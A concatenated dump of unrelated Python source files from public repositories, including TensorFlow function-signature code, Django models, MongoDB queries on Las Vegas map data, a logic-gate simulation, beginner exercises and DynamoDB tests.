name, jit_compile)\n\n def __init__(self,\n function_type,\n default_values,\n is_pure=False,\n name=None,\n jit_compile=None):\n \"\"\"Constructs a FunctionSpec describing a python function.\n\n Args:\n function_type: A FunctionType describing the python function signature.\n default_values: Dictionary mapping parameter names to default values.\n is_pure: if True all input arguments (including variables and constants)\n will be converted to tensors and no variable changes allowed.\n name: Name of the function\n jit_compile: see `tf.function`.\n \"\"\"\n self._function_type = function_type\n self._default_values = default_values\n self._fullargspec = to_fullargspec(function_type, default_values)\n self._is_pure = is_pure\n self._jit_compile = jit_compile\n\n # TODO(edloper): Include name when serializing for SavedModel?\n self._name = name or \"f\"\n self._input_signature = to_input_signature(function_type)\n\n @property\n def default_values(self):\n \"\"\"Returns dict mapping parameter names to default values.\"\"\"\n return self._default_values\n\n @property\n def function_type(self):\n \"\"\"Returns a FunctionType representing the Python function signature.\"\"\"\n return self._function_type\n\n @property\n def fullargspec(self):\n return self._fullargspec\n\n # TODO(fmuham): Replace usages with FunctionType and remove.\n @property\n def input_signature(self):\n return self._input_signature\n\n # TODO(fmuham): Replace usages with FunctionType and remove.\n @property\n def flat_input_signature(self):\n return tuple(nest.flatten(self.input_signature, expand_composites=True))\n\n @property\n def is_pure(self):\n return self._is_pure\n\n @property\n def jit_compile(self):\n return self._jit_compile\n\n # TODO(fmuham): Replace usages and remove.\n @property\n def arg_names(self):\n return list(\n p.name\n for p in self.function_type.parameters.values()\n if (\n p.kind is function_type_lib.Parameter.POSITIONAL_ONLY\n or p.kind is function_type_lib.Parameter.POSITIONAL_OR_KEYWORD\n )\n )\n\n def make_canonicalized_monomorphic_type(\n self,\n args: Any,\n kwargs: Any,\n captures: Any = None,\n ) -> Tuple[function_type_lib.FunctionType,\n trace_type.InternalTracingContext]:\n \"\"\"Generates function type given the function arguments.\"\"\"\n if captures is None:\n captures = dict()\n\n kwargs = {\n function_type_lib.sanitize_arg_name(name): value\n for name, value in kwargs.items()\n }\n\n _, function_type, type_context = (\n function_type_lib.canonicalize_to_monomorphic(\n args, kwargs, self.default_values, captures, self.function_type\n )\n )\n\n return function_type, type_context\n\n def signature_summary(self, default_values=False):\n \"\"\"Returns a string summarizing this function's signature.\n\n Args:\n default_values: If true, then include default values in the signature.\n\n Returns:\n A `string`.\n \"\"\"\n args = list(self._arg_names)\n if default_values:\n for (i, default) in self._arg_indices_to_default_values.items():\n args[i] += \"={}\".format(default)\n if self._fullargspec.kwonlyargs:\n args.append(\"*\")\n for arg_name in self._fullargspec.kwonlyargs:\n args.append(arg_name)\n if default_values and arg_name in self._fullargspec.kwonlydefaults:\n args[-1] += \"={}\".format(self._fullargspec.kwonlydefaults[arg_name])\n return f\"{self._name}({', '.join(args)})\"\n\n def canonicalize_function_inputs(self, args, kwargs):\n \"\"\"Canonicalizes `args` and `kwargs`.\n\n Canonicalize the inputs to the Python function using a `FunctionSpec`\n instance. In particular, we parse the varargs and kwargs that the\n original function was called with into a tuple corresponding to the\n Python function's positional (named) arguments and a dictionary\n corresponding to its kwargs. Missing default arguments are added.\n\n If this `FunctionSpec` has an input signature, then it is used to convert\n arguments to tensors; otherwise, any inputs containing numpy arrays are\n converted to tensors.\n\n Additionally, any inputs containing numpy arrays are converted to Tensors.\n\n Args:\n args: The varargs this object was called with.\n kwargs: The keyword args this function was called with.\n\n Returns:\n A canonicalized ordering of the inputs, as well as full and filtered\n (Tensors and Variables only) versions of their concatenated flattened\n representations, represented by a tuple in the form (args, kwargs,\n flat_args, filtered_flat_args). Here: `args` is a full list of bound\n arguments, and `kwargs` contains only true keyword arguments, as opposed\n to named arguments called in a keyword-like fashion.\n\n Raises:\n ValueError: If a keyword in `kwargs` cannot be matched with a positional\n argument when an input signature is specified, or when the inputs\n do not conform to the input signature.\n \"\"\"\n if self.is_pure:\n args, kwargs = _convert_variables_to_tensors(args, kwargs)\n args, kwargs = self.bind_function_inputs(args, kwargs)\n filtered_flat_args = filter_function_inputs(args, kwargs)\n\n return args, kwargs, filtered_flat_args\n\n def bind_function_inputs(self, args, kwargs):\n \"\"\"Bind `args` and `kwargs` into a canonicalized signature args, kwargs.\"\"\"\n sanitized_kwargs = {\n function_type_lib.sanitize_arg_name(k): v for k, v in kwargs.items()\n }\n if len(kwargs) != len(sanitized_kwargs):\n raise ValueError(f\"Name collision after sanitization. Please rename \"\n f\"tf.function input parameters. Original: \"\n f\"{sorted(kwargs.keys())}, Sanitized: \"\n f\"{sorted(sanitized_kwargs.keys())}\")\n\n try:\n bound_arguments = self.function_type.bind_with_defaults(\n args, sanitized_kwargs, self.default_values)\n except Exception as e:\n raise TypeError(\n f\"Binding inputs to tf.function `{self._name}` failed due to `{e}`. \"\n f\"Received args: {args} and kwargs: {sanitized_kwargs} for signature:\"\n f\" {self.function_type}.\"\n ) from e\n return bound_arguments.args, bound_arguments.kwargs\n\n\ndef _validate_signature(signature):\n \"\"\"Checks the input_signature to be valid.\"\"\"\n if signature is None:\n return\n\n if not isinstance(signature, (tuple, list)):\n raise TypeError(\"input_signature must be either a tuple or a list, got \"\n f\"{type(signature)}.\")\n\n # TODO(xjun): Allow VariableSpec once we figure out API for de-aliasing.\n variable_specs = _get_variable_specs(signature)\n if variable_specs:\n raise TypeError(\n f\"input_signature doesn't support VariableSpec, got {variable_specs}\")\n\n if any(not isinstance(arg, tensor_spec.TensorSpec)\n for arg in nest.flatten(signature, expand_composites=True)):\n bad_args = [\n arg for arg in nest.flatten(signature, expand_composites=True)\n if not isinstance(arg, tensor_spec.TensorSpec)\n ]\n raise TypeError(\"input_signature must be a possibly nested sequence of \"\n f\"TensorSpec objects, got invalid args {bad_args} with \"\n f\"types {list(six.moves.map(type, bad_args))}.\")\n\n\ndef _to_tensor_or_tensor_spec(x):\n return (x if isinstance(x, (ops.Tensor, tensor_spec.TensorSpec)) else\n ops.convert_to_tensor(x))\n\n\ndef _convert_variables_to_tensors(args, kwargs):\n args = [_to_tensor_or_tensor_spec(x) for x in args]\n kwargs = {kw: _to_tensor_or_tensor_spec(x) for kw, x in kwargs.items()}\n return tuple(args), kwargs\n\n\n# TODO(fmuham): Migrate to use TraceType/FunctionType _to_tensors.\ndef filter_function_inputs(args, kwargs):\n \"\"\"Filters and flattens args and kwargs.\"\"\"\n flat_inputs = composite_tensor_utils.flatten_with_variables(\n args) + composite_tensor_utils.flatten_with_variables(kwargs)\n\n for index, flat_input in enumerate(flat_inputs):\n if hasattr(flat_input, \"__array__\") and not (\n hasattr(flat_input, \"_should_act_as_resource_variable\")\n or isinstance(\n flat_input,\n (\n ops.Tensor,\n resource_variable_ops.BaseResourceVariable,\n np.str_,\n type,\n composite_tensor.CompositeTensor,\n ),\n )\n ):\n ndarray = flat_input.__array__()\n if not isinstance(ndarray, np.ndarray):\n raise TypeError(f\"The output of __array__ must be an np.ndarray, \"\n f\"got {type(ndarray)} from {flat_input}.\")\n flat_inputs[index] = constant_op.constant(ndarray)\n\n filtered_flat_inputs = [\n t for t in flat_inputs\n if isinstance(t, (ops.Tensor, resource_variable_ops.BaseResourceVariable))\n ]\n\n return filtered_flat_inputs\n\n\ndef _get_variable_specs(args):\n \"\"\"Returns `VariableSpecs` from `args`.\"\"\"\n variable_specs = []\n for arg in nest.flatten(args):\n if not isinstance(arg, type_spec.TypeSpec):\n continue\n if isinstance(arg, resource_variable_ops.VariableSpec):\n variable_specs.append(arg)\n elif not isinstance(arg, tensor_spec.TensorSpec):\n # arg is a CompositeTensor spec.\n variable_specs.extend(_get_variable_specs(arg._component_specs)) # pylint: disable=protected-access\n return variable_specs\n\n\n# TODO(fmuham): Replace usages with TraceType and remove.\ndef is_same_structure(structure1, structure2, check_values=False):\n \"\"\"Check two structures for equality, optionally of types and of values.\"\"\"\n try:\n nest.assert_same_structure(structure1, structure2, expand_composites=True)\n except (ValueError, TypeError):\n return False\n if check_values:\n flattened1 = nest.flatten(structure1, expand_composites=True)\n flattened2 = nest.flatten(structure2, expand_composites=True)\n # First check the types to avoid AttributeErrors.\n if any(type(f1) is not type(f2) for f1, f2 in zip(flattened1, flattened2)):\n return False\n return flattened1 == flattened2\n return True\n","repo_name":"lxiao217/study428","sub_path":"深度学习/源码/tensorflow/tensorflow/python/eager/polymorphic_function/function_spec.py","file_name":"function_spec.py","file_ext":"py","file_size_in_byte":17907,"program_lang":"python","lang":"en","doc_type":"code","stars":85,"dataset":"github-code","pt":"20"} +{"seq_id":"42999873656","text":"from PIL import Image\nfrom controller.render_mookup import Render\nimport os\nrender_image = Render()\ndir_path = os.path.dirname(os.path.realpath(__file__))\ncrop_path = dir_path+'//crop/'\nmock_path = dir_path+'//mock/'\nmockup_path = dir_path+'//mockup/'\nlist_file = []\nfor filename in os.listdir(crop_path):\n list_file.append(filename)\n\nfor filename in os.listdir(mock_path):\n render_image.setBackground(mock_path+\"/\"+filename)\n #width: height: x: y: \n x = 585\n y = 483\n width = 450\n height = 600\n render_image.setPositionImportForground(x, y, width, height)\n for forground in list_file:\n render_image.setForground(crop_path+\"/\"+forground)\n render_image.scaleForground()\n render_image.paste(mockup_path+\"/\"+filename.replace(\".png\",\"\")+forground)","repo_name":"tranvanloccntt123/shop_tools","sub_path":"render_image.py","file_name":"render_image.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"40288770698","text":"class Solution:\n\tdef shortestPalindrome(self, s: str) -> str:\n\t\tn = len(s)\n\t\n\t\tfor k in range(n - 1, -1, -1):\n\t\t\ti, j = 0, k\n\t\t\twhile i <= j:\n\t\t\t\tif s[i] != s[j]:\n\t\t\t\t\tbreak\n\t\t\t\ti += 1\n\t\t\t\tj -= 1\n\t\t\telse:\n\t\t\t\treturn s[n - 1:k:-1] + s\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\treturn s[n - 1:0:-1] + s\t\t\n\t\t\t\t\n\t\t\n\t\t\n\t\t\t\t\t\t\n\t\t\t\t\n\t\t\n\t\na = Solution()\n#s = \"aacecaaa\"\n#s = \"abcd\"\n\n#s = \"bkkbatpk\"\ns = \"abb\"\nprint(a.shortestPalindrome(s))\n\t\t\t\n","repo_name":"Mvitimin/Python_algorithms","sub_path":"Greedy/shortest-palindrome.py","file_name":"shortest-palindrome.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"24439129204","text":"# Collections\n# Tuples, Dictionaries and Sets\n\n# List\n\"\"\"\nmyList = [10, 20, 30, 40, \"bread\", \"rice\"]\n\n# Tuple (Immutable)\n# Defined by a round bracket.\n\nmyTuple = (10, 20, 30, 49, 50, 60)\n\nmyList.append(\"Test\")\n\nprint(myList)\n\nprint(len(myTuple))\n\n\nlen() - returns the length\nmin()\nmax()\n\n\n\n\nprint(min(myTuple))\nprint(max(myTuple))\n\n# Dictionary\n# Are similar to Objects in JavaScript\n# Key-Value pairs\n# Key: Value\n\n\n\nobject = {firstName: \"Rafael\", lastName: \"Nadal\"}\n\ndictionary = {\n key: value\n}\n\"\"\"\n\nperson = {\"firstName\": \"Rafael\",\n \"lastName\": \"Nadal\",\n \"age\": 25,\n \"bio\": \"A Straight-Forward and Effective Man\"\n }\n\n# Outputting a Dictionary\nprint(person)\n\n# Accessing the dictionary\n\n# How to access firstName\n\n# Access a dictionary like you would other collection; list [index], tuple[index] dict [key]person[\"firstName\"]\nprint(person[\"firstName\"])\nprint(person[\"lastName\"])\nprint(person.get(\"firstName\"))\nprint(person.get(\"age\", \"10 Pivot Lane\"))\n\nperson [\"age\"] = 26\n# remove then rewrite\n\n\n# Updating values\nperson[\"age\"] = 26\nperson.update({\"age\" : 26})\n\nprint(person)\n\n# Removing Values from the dictionary\n# Adding/Removing Values\n\nperson.pop(\"bio\")\nprint(person)\n\nperson.update({1: \"Test\"})\nprint(person)\n\n# Removing \n\ndel person[\"age\"]\n\nprint(person)\n\n\n# SETS\n# Unordered / Unindexed / Unchangeable / Unique\n# Unique: Will eliminate Duplicate Values\n# Unordered / Unindexed\n\nmySet = {\"a\", \"b\", \"c\", 10, 23, 40, 10, 40, \"a\", \"b\", \"c\", 10}\nprint(mySet)\n\n\n# Accessing Sets\n# You can't access a set directly\n\nprint(\"a\" in mySet)\n\nfindItem = \"a\"\nif findItem in mySet:\n print(\"This is true\")\n\n\n# Add/remove items from sets.\n\n mySet.add(20424094)\n #mySet.discard(10)\n\nmySet.pop() # remove the \"last item from the set, but Sets are random\nmySet.pop()\nmySet.pop()\nmySet.pop()\nmySet.pop()\n\nprint(mySet)\n\n","repo_name":"olayemi63/python-files22","sub_path":"Python Week2.5/Collections2.py","file_name":"Collections2.py","file_ext":"py","file_size_in_byte":1840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"37738198689","text":"\"\"\"\nDefine Django models for easier database manipulations.\n\n\"\"\"\n\nfrom django.db import models\nfrom channels.layers import get_channel_layer\nfrom django.forms.models import model_to_dict\nfrom asgiref.sync import async_to_sync\n\n\nclass Arm(models.Model):\n \"\"\"\n Define an Arm. Override the save method to update the list of arms on the frontend, when a new arm is added.\n\n \"\"\"\n\n arm_id = models.CharField(max_length=20, primary_key=True)\n last_online = models.DateTimeField()\n\n def save(self, *args, **kwargs):\n super(Arm, self).save(*args, **kwargs)\n channel_layer = get_channel_layer()\n async_to_sync(channel_layer.group_send)(\"default\", {\"type\": \"push.arms\"})\n\n\nclass Session(models.Model):\n \"\"\"\n Define a Session. Override the save method to update the list of session on the frontend, when a new session is added.\n\n \"\"\"\n\n arm = models.ForeignKey(Arm, on_delete=models.CASCADE)\n session_started = models.DateTimeField()\n status = models.CharField(max_length=20, blank=True)\n before_img_url = models.CharField(max_length=300, blank=True)\n after_img_url = models.CharField(max_length=300, blank=True)\n logs_base_url = models.CharField(max_length=300, blank=True)\n log_filenames = models.TextField(blank=True)\n enabled_log_types = models.TextField(default=\"[]\")\n\n def save(self, *args, **kwargs):\n super(Session, self).save(*args, **kwargs)\n channel_layer = get_channel_layer()\n async_to_sync(channel_layer.group_send)(\"default\", {\"type\": \"push.sessions.of.arm\", \"arm_id\": self.arm.arm_id})\n\n\nclass UI(models.Model):\n \"\"\"\n Define a special class, UI, to store temporary variables that are set on the frontend, used on the backend. Since these values can have only one current value,\n there is always a single row, which is ensured by the override of the save method.\n\n arms_to_start: A JSON array of arm_id's that has to be started. An entry is added after the start button on the frontend is clicked,\n and is removed, when an arm which has to be started checks in with a ready status.\n open_logs: log_type corresponding to the log type that is currently shown on the frontend. It is needed to avoid needlessly pushing every log.\n\n \"\"\"\n\n arms_to_start = models.TextField(default=\"[]\")\n open_logs = models.CharField(max_length=40, default=\"\")\n\n def save(self, *args, **kwargs):\n # Always save to line 1\n self.id = 1\n\n # Get current UI object and convert it to dict\n ui_objects = UI.objects.all()\n if len(ui_objects) > 0:\n current_UI = model_to_dict(UI.objects.all()[0])\n else:\n super().save(*args, **kwargs)\n return\n\n # If there are values not provided, set them to the current ones\n for key in current_UI.keys():\n if getattr(self, key) == \"\":\n setattr(self, key, current_UI[key])\n\n # Save new UI object to DB\n super().save(*args, **kwargs)\n\n\nclass Log(models.Model):\n \"\"\"\n Define a log entry. Override the save method to push the new log entries to the frontend, when their type is the one opened.\n\n \"\"\"\n\n arm = models.ForeignKey(Arm, on_delete=models.CASCADE)\n session = models.ForeignKey(Session, on_delete=models.CASCADE)\n log_type = models.CharField(max_length=40)\n asctime = models.CharField(max_length=40)\n created = models.CharField(max_length=40)\n name = models.CharField(max_length=20)\n levelname = models.CharField(max_length=10)\n msg = models.TextField()\n pathname = models.CharField(max_length=200)\n lineno = models.CharField(max_length=10)\n bm_id = models.FloatField(default=0)\n\n def save(self, *args, **kwargs):\n super(Log, self).save(*args, **kwargs)\n open_logs = UI.objects.get(id=1).open_logs.split(\".\")\n\n try:\n if str(open_logs[0]) == str(self.arm.arm_id) and str(open_logs[1]) == str(self.session.id) and str(open_logs[2]) == str(self.log_type):\n channel_layer = get_channel_layer()\n async_to_sync(channel_layer.group_send)(\n \"default\",\n {\n \"type\": \"push.logs\",\n \"arm_id\": self.arm.arm_id,\n \"session_id\": self.session.id,\n \"log_type\": self.log_type\n }\n )\n except IndexError:\n pass\n","repo_name":"simonszalai/sorterbot_control","sub_path":"sbc_server/core/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"17889479457","text":"#!/usr/bin/env python3\n#\nimport os\nimport random\nimport re\nimport sys\n\n# 1 https://github.com/bmc/fortunes\n# 2 https://docs.python.org/3/library/random.html\n# 3 https://docs.python.org/3/tutorial/inputoutput.html#reading-and-writing-files\n# 4 https://docs.python.org/3/library/os.path.html#os.path.getsize\n# 5 https://www.tutorialspoint.com/python3/python_reg_expressions.htm\n# 6 https://python-notes.curiousefficiency.org/en/latest/python3/text_file_processing.html\n\n\ndef get_line_count(fd, strict=False):\n '''\n Get number of lines in file\n :param fd: file handle\n :param strict: only report non-empty lines\n '''\n line_count = 0\n current_offset = fd.tell() # save file cursor\n fd.seek(0)\n for line in fd:\n if strict and line:\n line_count += 1\n else:\n line_count += 1\n\n fd.seek(current_offset) # restore file cursor\n return line_count\n\n\ndef cookie_list(fd):\n '''\n Build a list of separator offset locations\n :param fd: file handle\n '''\n\n # %\n # \"Acting is an art which consists of keeping the audience from coughing.\"\n # %\n # \"Anchovies? You've got the wrong man! I spell my name DANGER! (click)\"\n # %\n # \"Benson, you are so free of the ravages of intelligence.\"\n # ― Time Bandits\n # %\n\n current_offset = fd.tell() # save file cursor\n fd.seek(0) # start at the first byte\n\n L = []\n\n # Cannot use for..loop and .tell() method\n while True:\n line = fd.readline()\n if not line:\n break\n\n # Record offset of separator\n if re.match(r'^%$', line):\n L.append(fd.tell())\n\n fd.seek(current_offset) # restore file cursor\n return L\n\n\ndef get_fortune_text_from_list(fd, offset):\n '''\n Extract multi-line text from the file.\n :param fd: file handle\n :param offset: bytes from the begining of the file\n '''\n current_offset = fd.tell() # save file cursor\n fd.seek(offset)\n cookie_text = fd.readline()\n\n # repeat..until loop\n while True:\n line = fd.readline()\n if not line:\n break\n elif re.match(r'^%$', line):\n break\n else:\n cookie_text += line\n\n fd.seek(current_offset) # restore file cursor\n\n return cookie_text\n\n\ndef get_fortune_text_from_file(fd, offset):\n '''\n Extract multi-line cookie_text by searching the file\n :param fd: file handle\n :param offset: bytes from\n '''\n current_offset = fd.tell()\n fd.seek(offset)\n cookie_text = fd.readline()\n separator_found = False\n\n while True:\n line = fd.readline()\n if not line:\n break\n elif re.match(r'^%$', line):\n if not separator_found:\n # reject all text up until first separator found\n separator_found = True\n cookie_text = ''\n else:\n fd.seek(current_offset) # restore file cursor\n return cookie_text\n else:\n cookie_text += line\n\n fd.seek(current_offset) # restore file cursor\n return None\n\n\ndef get_file_size(textstr):\n '''\n Return file size in Bytes\n :param textstr: file name\n '''\n try:\n return os.path.getsize(textstr)\n except OSError as err:\n print(\"OS error: {0}\".format(err))\n sys.exit(1)\n\n\nif __name__ == '__main__':\n filename = 'fortunes'\n file_size = get_file_size(filename)\n\n with open(filename, 'r') as f:\n\n cookies = cookie_list(f)\n random_offset = random.randrange(len(cookies))\n # print('{0}, offset: {1} Bytes ({2} Bytes)'.format(filename, random_offset, file_size))\n cookie_text = get_fortune_text_from_list(f, cookies[random_offset])\n if not cookie_text:\n cookie_text = 'Not your lucky day, try again'\n\n print('list:')\n print('{0}'.format(cookie_text, end=''))\n\n random_offset = random.randrange(file_size)\n # print('{0}, offset: {1} Bytes ({2} Bytes)'.format(filename, random_offset, file_size))\n\n cookie_text = get_fortune_text_from_file(f, random_offset)\n if not cookie_text:\n cookie_text = 'Not your lucky day, try again'\n\n print('file:')\n print('{0}'.format(cookie_text, end=''))\n","repo_name":"sjfke/CodingQuestions","sub_path":"random_entry_from_fortune_file.py","file_name":"random_entry_from_fortune_file.py","file_ext":"py","file_size_in_byte":4273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"15056019249","text":"import collections\n\nWidgetTypes = {\n \"TopWin\",\n \"VBox\",\n \"HBox\",\n \"Label\",\n \"Button\",\n \"IconButton\", \n \"EmptyButton\",\n \"RadioButton\" ,\n \"CheckButton\" ,\n \"SelectEntry\" ,\n \"TextEntry\" ,\n \"TextArea\" ,\n \"PageBox\",\n #\"StatusBar\",\n }\n \n \nnew = collections.namedtuple('DOMObject', 'otype oid sClass klass oattrs children')\nempty = new(otype=None, oid=None, sClass=None, klass=None, oattrs={}, children=[])\n\n#! not right with select and expand marks. Add those too?\ndef prettyPrintRec(b, indent, obj):\n b.append(indent)\n if (obj.otype):\n b.append(obj.otype)\n if (obj.oid):\n b.append(\"#\") \n b.append(obj.oid)\n if (obj.klass):\n b.append(\".\") \n b.append(obj.klass)\n if (obj.sClass):\n b.append(\"*\") \n b.append(obj.sClass)\n if ('text' in obj.oattrs):\n b.append(\"|\") \n b.append(obj.oattrs[\"text\"])\n b.append(\"\\n\")\n for child in obj.children:\n prettyPrintRec(b, indent + \" \", child)\n \ndef prettyPrint(obj):\n indent = \"\"\n b = []\n prettyPrintRec(b, indent, obj)\n print(\"\".join(b))\n","repo_name":"rcrowther/GUIBuilder","sub_path":"Object.py","file_name":"Object.py","file_ext":"py","file_size_in_byte":1087,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"36613568869","text":"from nor_gate import NorGate\nfrom connector import Connector\n\nclass XorGate:\n def __init__(self):\n self.nor1 = NorGate()\n self.nor2 = NorGate()\n self.nor3 = NorGate()\n self.nor4 = NorGate()\n self.nor5 = NorGate()\n self.connector1 = Connector()\n self.connector2 = Connector()\n self.connector3 = Connector()\n self.connector4 = Connector()\n \n @property\n def output(self):\n self.connector1.connect(self.nor1.output, self.nor4.pin_a)\n self.connector2.connect(self.nor2.output, self.nor4.pin_b)\n self.connector3.connect(self.nor4.output, self.nor5.pin_a)\n self.connector4.connect(self.nor3.output, self.nor5.pin_b)\n return self.nor5.output\n\n @property\n def pin_a(self):\n return self.nor1.pin_a\n\n @property\n def pin_b(self):\n return self.nor2.pin_a\n\n def set_pins(self, voltage_a, voltage_b):\n self.nor1.pin_a.voltage = voltage_a\n self.nor1.pin_b.voltage = voltage_a\n self.nor2.pin_a.voltage = voltage_b\n self.nor2.pin_b.voltage = voltage_b\n self.nor3.pin_a.voltage = voltage_b\n self.nor3.pin_b.voltage = voltage_a\n\n def __str__(self):\n return f\"XOR |{self.nor1.pin_a.voltage} {self.nor2.pin_b.voltage}| -> {self.output}\"","repo_name":"daniel-schroeder-dev/python-logic-gates","sub_path":"xor_gate.py","file_name":"xor_gate.py","file_ext":"py","file_size_in_byte":1305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"40991336733","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Sep 19 19:12:22 2015\r\n\r\n@author: Bing\r\n\"\"\"\r\n \r\nimport json\r\nfrom pymongo import MongoClient\r\nimport pprint\r\n \r\n \r\ndef get_db(db_name): \r\n from pymongo import MongoClient\r\n client = MongoClient('localhost:27017')\r\n db = client[db_name]\r\n return db\r\n\r\n\r\ndef riviera_pipe():\r\n pipeline = [\r\n {\"$group\": { \"_id\" : \"$name\",\r\n \"count\" : { \"$sum\" : 1}}},\r\n {\"$sort\": {\"count\" : -1}},\r\n {'$match' : {'_id' : \"Riviera\"}}, \r\n {\"$limit\" : 20}\r\n ]\r\n return pipeline\r\n \r\n \r\ndef top_amenities_pipe():\r\n pipeline = [\r\n {\"$group\": { \"_id\" : \"$amenity\",\r\n \"count\" : { \"$sum\" : 1}}},\r\n {\"$sort\": {\"count\" : -1}},\r\n {'$match' : {'_id' : {'$ne' : None}}}, \r\n {\"$limit\" : 20}\r\n ]\r\n return pipeline\r\n \r\n \r\ndef popular_cuisine_pipe():\r\n pipeline = [\r\n {\"$group\": { \"_id\" : \"$cuisine\",\r\n \"count\" : { \"$sum\" : 1}}},\r\n {\"$sort\": {\"count\" : -1}},\r\n {'$match' : {'_id' : {'$ne' : None}}}, \r\n {\"$limit\" : 10}\r\n ]\r\n return pipeline\r\n \r\n \r\ndef top_contributing_user_pipe():\r\n pipeline = [\r\n {\"$group\" : {\"_id\" : \"$created.user\",\r\n \"count\" : { \"$sum\" : 1}}},\r\n {\"$match\" : {\"_id\" : {\"$ne\" : None}}}, \r\n {\"$sort\": {\"count\" : -1}},\r\n {\"$limit\" : 1}\r\n ]\r\n return pipeline\r\n \r\n \r\ndef unique_users_pipe():\r\n pipeline = [\r\n {\"$group\": { \"_id\" : \"$created.user\"}},\r\n {\"$group\": { \"_id\" : 1,\r\n \"count\" : { \"$sum\" : 1}}}\r\n ]\r\n return pipeline\r\n\r\n\r\ndef num_one_time_users_pipe():\r\n pipeline = [\r\n {\"$group\": { \"_id\" : \"$created.user\", \r\n \"count\" : {\"$sum\":1}}}, \r\n {\"$group\": { \"_id\" : \"$count\", \r\n \"num_users\" : {\"$sum\":1}}}, \r\n {\"$sort\" : { \"_id\" : 1}}, \r\n {\"$limit\": 1 }\r\n ]\r\n return pipeline\r\n \r\n \r\ndef mongo_query(db, pipeline ):\r\n result = db.vegas.aggregate(pipeline)\r\n return result \r\n \r\n \r\nif __name__ == '__main__': \r\n\r\n db = get_db('openmap')\r\n result = mongo_query(db, popular_cuisine_pipe())\r\n# result = mongo_query(db, top_contributing_user_pipe())\r\n# result = db.vegas.aggregate(top_contributing_user_pipe())\r\n# result = mongo_query(db, top_amenities_pipe())\r\n# result = mongo_query(db, unique_users_pipe())\r\n# result = mongo_query(db, num_one_time_users_pipe())\r\n# result = db.vegas.distinct(\"created.user\")\r\n# print len(db.vegas.distinct(\"created.user\"))\r\n# print db.vegas.distinct({\"$created.user\"})\r\n# print \"Unique users: %s\" %(mongo_query(db, unique_users_pipe()))\r\n# \r\n# print \"Number of docs: %s\" %(db.vegas.find().count()) \r\n# print \"Number of nodes: %s\" %(db.vegas.find({\"type\" : \"node\"}).count()) \r\n# print \"Number of ways: %s\" %(db.vegas.find({\"type\" : \"way\"}).count())\r\n \r\n \r\n# print \"Top user: %s\" %(db.vegas.aggregate([{\"$group\":{\"_id\":\"$created.user\", \"count\":{\"$sum\":1}}}, sort:{\"count\": ­1 }}, {\"$limit\":1}]))\r\n# print db.vegas.distinct({\"created.user\"}).length # function was created for this\r\n# \r\n# \r\n## count = 0\r\n for i in result:\r\n if count < 1000:\r\n pprint.pprint(i)\r\n count += 1\r\n","repo_name":"bingson/MongoDB","sub_path":"OSM Las Vegas Project Files/3_mongo_queries.py","file_name":"3_mongo_queries.py","file_ext":"py","file_size_in_byte":3333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"23249560187","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\nimport traceback\nfrom lib.response import BaseResponse\nfrom lib.logclass import logger\nfrom .BasePlugin import BasePluginClass\n\nclass MainBoard(BasePluginClass):\n def win(self,handler,hostname):\n pass\n\n def linux(self,handler,hostname):\n response = BaseResponse()\n try:\n output = handler.cmd(command=\"sudo dmidecode -t1\", hostname=None)\n response.data = self.parse(output)\n except Exception as e:\n msg = traceback.format_exc()\n response.status = False\n response.error = msg\n logger.error(msg)\n return response.dict\n\n def parse(self, content):\n\n result = {}\n key_map = {\n 'Manufacturer': 'manufacturer',\n 'Product Name': 'model',\n 'Serial Number': 'sn',\n }\n\n for item in content.split('\\n'):\n row_data = item.strip().split(':')\n if len(row_data) == 2:\n if row_data[0] in key_map:\n result[key_map[row_data[0]]] = row_data[1].strip() if row_data[1] else row_data[1]\n\n return result","repo_name":"zhouyu37/devopsclient","sub_path":"src/plugins/broad.py","file_name":"broad.py","file_ext":"py","file_size_in_byte":1158,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"10105321726","text":"from random import randint\n\nimport pytest\n\nfrom xoto3.dynamodb.exceptions import ItemNotFoundException\nfrom xoto3.dynamodb.write_versioned import (\n ItemTable,\n VersionedTransaction,\n create_or_update,\n update_existing,\n update_if_exists,\n versioned_transact_write_items,\n write_item,\n)\n\nfrom .conftest import mock_next_run\n\n\ndef _randkey():\n return dict(id=\"\".join((str(randint(0, 9)) for i in range(30))))\n\n\ndef test_single_table_helpers(integration_test_id_table):\n itable = ItemTable(integration_test_id_table.name, item_name=\"Steve\")\n\n rand_key = _randkey()\n # random because it's actually writing to the table\n\n def transact(vt):\n vt = itable.put(dict(rand_key, foo=\"bar\"))(vt)\n vt = itable.delete(rand_key)(vt)\n return vt\n\n out = versioned_transact_write_items(transact, {integration_test_id_table.name: [rand_key]})\n assert None is itable.get(rand_key)(out)\n\n\ndef _fake_table(\n table_name: str, *key_attrs: str,\n):\n table = ItemTable(table_name)\n vt = VersionedTransaction(dict())\n vt = table.define(*key_attrs)(vt)\n return vt, table\n\n\ndef _update(key, val):\n def _(it):\n it[key] = val\n return it\n\n return _\n\n\ndef test_api2_update_if_exists():\n vt, table = _fake_table(lambda: \"steve\", \"id\") # type: ignore\n\n key = dict(id=\"exists\")\n vt = table.presume(key, dict(key, foo=\"bar\"))(vt)\n\n vt = versioned_transact_write_items(\n update_if_exists(table, _update(\"foo\", \"biz\"), key), **mock_next_run(vt),\n )\n\n assert table.require(key)(vt)[\"foo\"] == \"biz\"\n\n bad_key = dict(id=\"notexists\")\n vt = versioned_transact_write_items(\n update_if_exists(table, _update(\"foo\", \"zap\"), bad_key),\n 